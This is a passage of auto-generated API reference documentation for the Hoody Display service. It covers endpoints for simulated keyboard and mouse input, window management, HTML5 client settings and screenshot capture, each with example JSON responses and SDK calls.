  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
await client.display.input.reset();
```

---

## Keyboard Actions

Send key presses, key combinations, and typed text.

### `POST /api/v1/display/keyboard/key`

Presses one or more key combinations (e.g. `['ctrl+c', 'Return']`).

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `keys` | array | Yes | Key combinations (e.g. `['ctrl+c', 'Return']`). `1`–`20` items, each max length `100` |
| `window` | integer \| string | No | Target window ID |
| `delay` | integer | No | Delay between key presses in milliseconds. Range: `0`–`5000` |
| `clearModifiers` | boolean | No | Clear modifier keys before pressing |

### Response



```json
{
  "success": true,
  "action": "key",
  "details": {
    "keys": ["ctrl+c"],
    "window": 1234567
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Input action queue is full"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Input action failed"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
await client.display.input.keyboardKey({ keys: ["ctrl+c"] });
```

---

### `POST /api/v1/display/keyboard/key-down`

Holds a key down (without releasing it).

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `key` | string | Yes | Key name (X11 keysym, e.g. `Shift_L`, `ctrl`). Max length: `100` |
| `window` | integer \| string | No | Target window ID |
| `holdMs` | integer | No | Auto-release after this many milliseconds. Range: `100`–`60000` |

### Response



```json
{
  "success": true,
  "action": "key-down",
  "details": {
    "key": "Shift_L",
    "holdMs": 1500
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Input action queue is full"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Input action failed"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
await client.display.input.keyboardKeyDown({ key: "Shift_L", holdMs: 1500 });
```

---

### `POST /api/v1/display/keyboard/key-up`

Releases a previously held key.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `key` | string | Yes | Key name (X11 keysym, e.g. `Shift_L`). Max length: `100` |
| `window` | integer \| string | No | Target window ID |

### Response



```json
{
  "success": true,
  "action": "key-up",
  "details": {
    "key": "Shift_L"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Input action queue is full"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Input action failed"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
await client.display.input.keyboardKeyUp({ key: "Shift_L" });
```

---

### `POST /api/v1/display/keyboard/type`

Types a string of text at the current cursor position.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `text` | string | Yes | Text to type. Max length: `10000` |
| `window` | integer \| string | No | Target window ID |
| `delay` | integer | No | Inter-keystroke delay in milliseconds. Range: `0`–`1000` |
| `clearModifiers` | boolean | No | Clear modifier keys before typing |

### Response



```json
{
  "success": true,
  "action": "type",
  "details": {
    "text": "Hello, world!",
    "window": 1234567
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Input action queue is full"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Input action failed"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
await client.display.input.keyboardType({ text: "Hello, world!" });
```

---

## Mouse Actions

Move the cursor, click, hold, release, and scroll.

### `POST /api/v1/display/mouse/click`

Clicks a mouse button. Supports repeated clicks with a delay between them.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `button` | integer | No | `1` | Mouse button (`1`=left, `2`=middle, `3`=right, `4`–`7`=extra). Range: `1`–`7` |
| `repeat` | integer | No | `1` | Number of times to repeat the click. Range: `1`–`100` |
| `delay` | integer | No | — | Delay between repeats in milliseconds. Range: `0`–`5000` |
| `window` | integer \| string | No | — | Target window ID (decimal or hex `0x...`) |

### Response



```json
{
  "success": true,
  "action": "click",
  "details": {
    "button": 1,
    "repeat": 1
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Input action queue is full"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Input action failed"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
await client.display.input.mouseClick({ button: 1, repeat: 2, delay: 50 });
```

---

### `POST /api/v1/display/mouse/double-click`

Double-clicks a mouse button.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `button` | integer | No | `1` | Mouse button (`1`=left, `2`=middle, `3`=right, `4`–`7`=extra). Range: `1`–`7` |
| `window` | integer \| string | No | — | Target window ID |

### Response



```json
{
  "success": true,
  "action": "double-click",
  "details": {
    "button": 1
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Input action queue is full"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Input action failed"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
await client.display.input.mouseDoubleClick({ button: 1 });
```

---

### `POST /api/v1/display/mouse/down`

Presses and holds a mouse button.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `button` | integer | No | `1` | Mouse button (`1`=left, `2`=middle, `3`=right, `4`–`7`=extra). Range: `1`–`7` |
| `window` | integer \| string | No | — | Target window ID |
| `holdMs` | integer | No | — | Auto-release after this many milliseconds. Range: `100`–`60000` |

### Response



```json
{
  "success": true,
  "action": "mouse-down",
  "details": {
    "button": 1,
    "holdMs": 1000
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Input action queue is full"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Input action failed"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
await client.display.input.mouseDown({ button: 1, holdMs: 1000 });
```

---

### `POST /api/v1/display/mouse/up`

Releases a previously held mouse button.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `button` | integer | No | `1` | Mouse button (`1`=left, `2`=middle, `3`=right, `4`–`7`=extra). Range: `1`–`7` |
| `window` | integer \| string | No | — | Target window ID |

### Response



```json
{
  "success": true,
  "action": "mouse-up",
  "details": {
    "button": 1
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Input action queue is full"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Input action failed"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
await client.display.input.mouseUp({ button: 1 });
```

---

### `POST /api/v1/display/mouse/move`

Moves the cursor to an absolute position on the display.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `x` | integer | Yes | Target X coordinate. Range: `-65535`–`65535` |
| `y` | integer | Yes | Target Y coordinate. Range: `-65535`–`65535` |
| `window` | integer \| string | No | Target window ID |
| `screen` | integer | No | Target screen index. Range: `0`–`15` |
| `sync` | boolean | No | Wait for the move to complete before returning |

### Response



```json
{
  "success": true,
  "action": "mouse-move",
  "details": {
    "x": 540,
    "y": 312,
    "screen": 0
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Input action queue is full"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Input action failed"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
await client.display.input.mouseMove({ x: 540, y: 312, screen: 0 });
```

---

### `POST /api/v1/display/mouse/move-relative`

Moves the cursor by a relative offset from its current position.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `x` | integer | Yes | Horizontal offset in pixels |
| `y` | integer | Yes | Vertical offset in pixels |
| `sync` | boolean | No | Wait for the move to complete before returning |

### Response



```json
{
  "success": true,
  "action": "mouse-move-relative",
  "details": {
    "x": 25,
    "y": -10
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Input action queue is full"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Input action failed"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
await client.display.input.mouseMoveRelative({ x: 25, y: -10 });
```

---

### `POST /api/v1/display/mouse/scroll`

Scrolls in one of four directions.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `direction` | string | Yes | — | Scroll direction. One of: `up`, `down`, `left`, `right` |
| `clicks` | integer | No | `5` | Number of scroll clicks. Range: `1`–`100` |

### Response



```json
{
  "success": true,
  "action": "scroll",
  "details": {
    "direction": "down",
    "clicks": 5
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Input action queue is full"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Input action failed"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
await client.display.input.mouseScroll({ direction: "down", clicks: 5 });
```

---

## Window Management

Focus, move, resize, close, and search for windows on the display.

### `POST /api/v1/display/window/close`

Closes a window by ID.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `windowId` | integer \| string | Yes | Window ID (decimal or hex `0x...`) |

### Response



```json
{
  "success": true,
  "action": "window-close",
  "details": {
    "windowId": 1234567
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Window not found"
}
```


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Input action queue is full"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Input action failed"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
await client.display.input.windowClose({ windowId: 1234567 });
```

---

### `POST /api/v1/display/window/focus`

Activates (focuses) a window by ID.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `windowId` | integer \| string | Yes | Window ID (decimal or hex `0x...`) |

### Response



```json
{
  "success": true,
  "action": "window-focus",
  "details": {
    "windowId": 1234567
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Window not found"
}
```


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Input action queue is full"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Input action failed"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
await client.display.input.windowFocus({ windowId: 1234567 });
```

---

### `POST /api/v1/display/window/minimize`

Minimizes a window by ID.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `windowId` | integer \| string | Yes | Window ID (decimal or hex `0x...`) |

### Response



```json
{
  "success": true,
  "action": "window-minimize",
  "details": {
    "windowId": 1234567
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Window not found"
}
```


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Input action queue is full"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Input action failed"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
await client.display.input.windowMinimize({ windowId: 1234567 });
```

---

### `POST /api/v1/display/window/move`

Moves a window to a new position. Supports absolute and relative moves.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `windowId` | integer \| string | Yes | Window ID (decimal or hex `0x...`) |
| `x` | integer | Yes | Target X coordinate |
| `y` | integer | Yes | Target Y coordinate |
| `sync` | boolean | No | Wait for the move to complete before returning |
| `relative` | boolean | No | Treat coordinates as relative to the current position |

### Response



```json
{
  "success": true,
  "action": "window-move",
  "details": {
    "windowId": 1234567,
    "x": 100,
    "y": 50,
    "relative": false
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Window not found"
}
```


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Input action queue is full"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Input action failed"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
await client.display.input.windowMove({ windowId: 1234567, x: 100, y: 50 });
```

---

### `POST /api/v1/display/window/raise`

Raises a window to the top of the stacking order.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `windowId` | integer \| string | Yes | Window ID (decimal or hex `0x...`) |

### Response



```json
{
  "success": true,
  "action": "window-raise",
  "details": {
    "windowId": 1234567
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Window not found"
}
```


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Input action queue is full"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Input action failed"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
await client.display.input.windowRaise({ windowId: 1234567 });
```

---

### `POST /api/v1/display/window/resize`

Resizes a window to a new width and height.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `windowId` | integer \| string | Yes | Window ID (decimal or hex `0x...`) |
| `width` | integer | Yes | New window width. Minimum: `0` |
| `height` | integer | Yes | New window height. Minimum: `0` |
| `sync` | boolean | No | Wait for the resize to complete before returning |
| `useHints` | boolean | No | Send resize as a size-hint instead of forcing a new size |

### Response



```json
{
  "success": true,
  "action": "window-resize",
  "details": {
    "windowId": 1234567,
    "width": 1280,
    "height": 720
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Window not found"
}
```


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Input action queue is full"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Input action failed"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
await client.display.input.windowResize({ windowId: 1234567, width: 1280, height: 720 });
```

---

### `POST /api/v1/display/window/search`

Searches for windows matching a regex pattern across name, class, and classname fields.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `pattern` | string | Yes | Search pattern (regex). Max length: `200` |
| `name` | boolean | No | Search by window name/title |
| `class` | boolean | No | Search by window class |
| `classname` | boolean | No | Search by window classname |
| `onlyVisible` | boolean | No | Only return visible windows |

### Response



```json
{
  "success": true,
  "windows": [1234567, 1234568, 7654321]
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Input action queue is full"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Input action failed"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
const matches = await client.display.input.windowSearch({
  pattern: "Visual Studio",
  name: true,
  onlyVisible: true,
});
```

---

# Displays: Input & Clipboard

**Page:** api/displays/input-clipboard

[Download Raw Markdown](./api/displays/input-clipboard.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Input and Clipboard Parameters

Configure keyboard layout, key swapping, clipboard sharing, and scrolling behavior for the HTML5 Display client. These query string parameters are passed when accessing the client endpoint and control how the user interacts with the remote desktop session.

## Access the HTML5 Display client interface

### `GET /api/v1/display/`

Serves the HTML5 Display client web interface with optional URL-based configuration. This is the standardized API version of the root endpoint for RESTful compliance, versioned access, and API gateway integrations.

**Example:**

```bash
https://domain.com/api/v1/display/?displayId=10&readonly=true&decorations=false
```

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `keyboard` | query | boolean | No | Show on-screen virtual keyboard. Default: `false` |
| `keyboard_layout` | query | string | No | Keyboard layout (us, gb, fr, de, etc.). Default: `"us"` |
| `swap_keys` | query | boolean | No | Swap Cmd/Ctrl keys (useful for macOS). Default: `false` |
| `clipboard` | query | boolean | No | Enable clipboard sharing. Default: `true` |
| `clipboard_preferred_format` | query | string | No | Preferred clipboard format. Allowed values: `"text/plain"`, `"text/html"`, `"UTF8_STRING"`. Default: `"text/plain"` |
| `scroll_reverse_y` | query | string | No | Reverse vertical scrolling direction. Allowed values: `"auto"`, `"true"`, `"false"`. Default: `"auto"` |
| `scroll_reverse_x` | query | boolean | No | Reverse horizontal scrolling direction. Default: `false` |

### Response



```html
<!DOCTYPE html>
<html>
<head><title>Hoody Display Client</title></head>
<body>
  <!-- Display HTML5 client interface -->
</body>
</html>
```



### SDK Usage

```typescript
const result = await client.display.accessClient({
  keyboard: true,
  keyboard_layout: "de",
  swap_keys: true,
  clipboard: true,
  clipboard_preferred_format: "text/html",
  scroll_reverse_y: "false",
  scroll_reverse_x: false,
});
```

---

# Displays: Performance & Encoding

**Page:** api/displays/performance

[Download Raw Markdown](./api/displays/performance.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Performance & Encoding

These parameters tune video encoding, bandwidth usage, and rendering performance for the HTML5 Display client. Adjust them to balance quality, latency, and resource consumption based on network conditions and client capabilities.

### `GET /api/v1/display/`

Serves the HTML5 Display client web interface with optional URL-based configuration.

**Use this endpoint for:**
- RESTful API compliance
- Versioned client access
- API gateway integrations

**Example:**
```bash
https://domain.com/api/v1/display/?displayId=10&readonly=true&decorations=false
```

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `encoding` | query | string | No | Video encoding type. Use `auto` for best automatic selection. Allowed values: `auto`, `webp`, `jpeg`, `png`, `rgb`, `rgb24`, `rgb32`, `h264`, `vp8`, `vp9`, `mpeg1`, `mpeg4+mp4`, `h264+mp4`, `vp8+webm`, `scroll`, `void`. Default: `auto` |
| `offscreen` | query | boolean | No | Use offscreen canvas for rendering. Default: `false` |
| `bandwidth_limit` | query | integer | No | Bandwidth limit in bits per second (`0` = unlimited). Default: `0` |
| `override_width` | query | string | No | Override virtual desktop width (`auto` or numeric value). Default: `auto` |
| `video` | query | boolean | No | Enable video encoding support. Default: `true` |
| `mediasource_video` | query | boolean | No | Enable MediaSource API for video. Default: `true` |

### Response



```json
{
  "description": "HTML5 Display client interface loaded successfully",
  "content": {
    "text/html": {
      "schema": {
        "type": "string"
      },
      "example": "<!DOCTYPE html>\n<html>\n<head><title>Hoody Display Client</title></head>\n<body>\n  <!-- Display HTML5 client interface -->\n</body>\n</html>\n"
    }
  }
}
```



### SDK Usage

```javascript
const result = await client.display.accessClient({
  encoding: "auto",
  offscreen: false,
  bandwidth_limit: 0,
  override_width: "auto",
  video: true,
  mediasource_video: true
});
```

---

# Displays: Screenshot API

**Page:** api/displays/screenshots

[Download Raw Markdown](./api/displays/screenshots.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Display Screenshot API provides endpoints to capture, retrieve, and manage display screenshots, thumbnails, window information, and clipboard contents. Use these endpoints to integrate visual display access into applications, build screenshot inventory systems, or programmatically interact with a display's window manager.

All endpoints accept an optional `displayId` query parameter to target a specific display, overriding the `*-display-N.*` hostname pattern.

## Display Information

### `GET /api/v1/display/info`

Retrieves information about the current display including all available screenshots. This is the standardized RESTful version of `/display`.

**Use this for:** RESTful API integrations, display management systems, screenshot inventory queries.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: 1-999999 |

### Response



```json
{
  "display": 6,
  "screenshots": [
    {
      "timestamp": "1749541160",
      "timestamp_human": "2026-02-23T16:57:02+00:00",
      "full": {
        "path": "/hoody/storage/hoody-display/screenshots/display_6_1749541160.png",
        "size": 245760,
        "width": 1920,
        "height": 1080
      },
      "thumbnail": {
        "path": "/hoody/storage/hoody-display/screenshots/display_6_1749541160_thumb.png",
        "size": 12800,
        "width": 320,
        "height": 180
      }
    }
  ]
}
```



### SDK Usage

```typescript
const result = await client.display.getInformation({
  displayId: 6,
});
```

### `GET /api/v1/display/screenshots`

Returns a list of all available screenshots for the current display with their metadata. Standardized API version of `/screenshots`.

**Use this for:** RESTful API integrations, screenshot management applications, historical screenshot browsing.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: 1-999999 |

### Response



```json
{
  "display": 6,
  "screenshots": [
    {
      "timestamp": "1749541160",
      "timestamp_human": "2026-02-23T16:57:02+00:00",
      "full": {
        "path": "/hoody/storage/hoody-display/screenshots/display_6_1749541160.png",
        "size": 245760,
        "width": 1920,
        "height": 1080
      },
      "thumbnail": {
        "path": "/hoody/storage/hoody-display/screenshots/display_6_1749541160_thumb.png",
        "size": 12800,
        "width": 320,
        "height": 180
      }
    },
    {
      "timestamp": "1749537600",
      "timestamp_human": "2026-02-23T16:00:00+00:00",
      "full": {
        "path": "/hoody/storage/hoody-display/screenshots/display_6_1749537600.png",
        "size": 238104,
        "width": 1920,
        "height": 1080
      },
      "thumbnail": null
    }
  ]
}
```



### SDK Usage

```typescript
const result = await client.display.listScreenshots({
  displayId: 6,
});
```

## Screenshots

### `GET /api/v1/display/screenshot`

Captures a fresh screenshot of the display and returns the image file. Standardized API endpoint, identical to `/screenshot`.

**Response Formats:**
- Binary PNG image (default)
- Base64 JSON (with `?base64=true`)


Returns `SCREENSHOT_FAILED` when the screenshot payload is unavailable — for example, an inactive display or no running programs.


### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `base64` | query | boolean | No | Return base64-encoded JSON response instead of binary image. Useful for AI agents and systems that can't handle binary data. Accepted values: `true`, `1`, `` (empty) → Return base64 JSON; `false`, `0` → Return binary (default) |
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: 1-999999 |

### Response



```json
{
  "info": {
    "timestamp": "1749541160",
    "timestamp_human": "2026-02-23T16:57:02+00:00",
    "full": {
      "path": "/hoody/storage/hoody-display/screenshots/display_6_1749541160.png",
      "size": 245760,
      "width": 1920,
      "height": 1080
    },
    "thumbnail": {
      "path": "/hoody/storage/hoody-display/screenshots/display_6_1749541160_thumb.png",
      "size": 12800,
      "width": 320,
      "height": 180
    }
  },
  "image": {
    "data": "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII=",
    "mimeType": "image/png",
    "dataUrl": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII="
  }
}
```


```
Content-Type: image/png

<binary PNG data>
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Screenshot capture failed",
  "code": "SCREENSHOT_FAILED"
}
```



### SDK Usage

```typescript
const result = await client.display.screenshots.capture({
  displayId: 6,
  base64: true,
});
```

### `GET /api/v1/display/screenshot/info`

Takes a new screenshot but returns only metadata without the image data. Standardized API version of `/screenshot/info`.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: 1-999999 |

### Response



```json
{
  "timestamp": "1749541160",
  "timestamp_human": "2026-02-23T16:57:02+00:00",
  "full": {
    "path": "/hoody/storage/hoody-display/screenshots/display_6_1749541160.png",
    "size": 245760,
    "width": 1920,
    "height": 1080
  },
  "thumbnail": {
    "path": "/hoody/storage/hoody-display/screenshots/display_6_1749541160_thumb.png",
    "size": 12800,
    "width": 320,
    "height": 180
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Screenshot capture failed",
  "code": "SCREENSHOT_FAILED"
}
```



### SDK Usage

```typescript
const result = await client.display.screenshots.captureMetadata({
  displayId: 6,
});
```

### `GET /api/v1/display/screenshot/{timestamp}`

Retrieves a previously captured screenshot using its Unix timestamp. Standardized API version of `/screenshot/{timestamp}`.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
